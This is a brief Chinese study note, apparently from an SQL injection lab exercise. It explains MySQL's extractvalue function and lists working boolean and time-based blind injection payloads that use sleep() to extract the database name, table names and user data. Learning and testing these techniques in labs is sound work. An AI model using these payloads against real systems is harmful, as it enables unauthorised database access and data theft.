这一节让我学习到了
1.extractvalue函数（该函数用于对xml文件进行查询和修改，于此相关的还有一个叫“updatexml”函数）
语法：extractvalue(XML_document, XPath_string);
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。
作用：从目标XML中返回包含所查询值的字符串
关于该函数的介绍使用：http://www.blogjava.net/chenpengyi/archive/2006/07/11/57578.html
2.
Payload:
admin" and 1=1#
这题方法也是要用盲注。
------------------------------------------------------------------------------------------------
延时Payload:
猜数据库：admin" and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
猜表：admin" AND if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>1,sleep(20),1)#
猜列明：admin" AND if(ascii(substr((select username from security.users order by id limit 0,1),2,1))=117,sleep(10),1)#
------------------------------------------------------------------------------------------------
THE END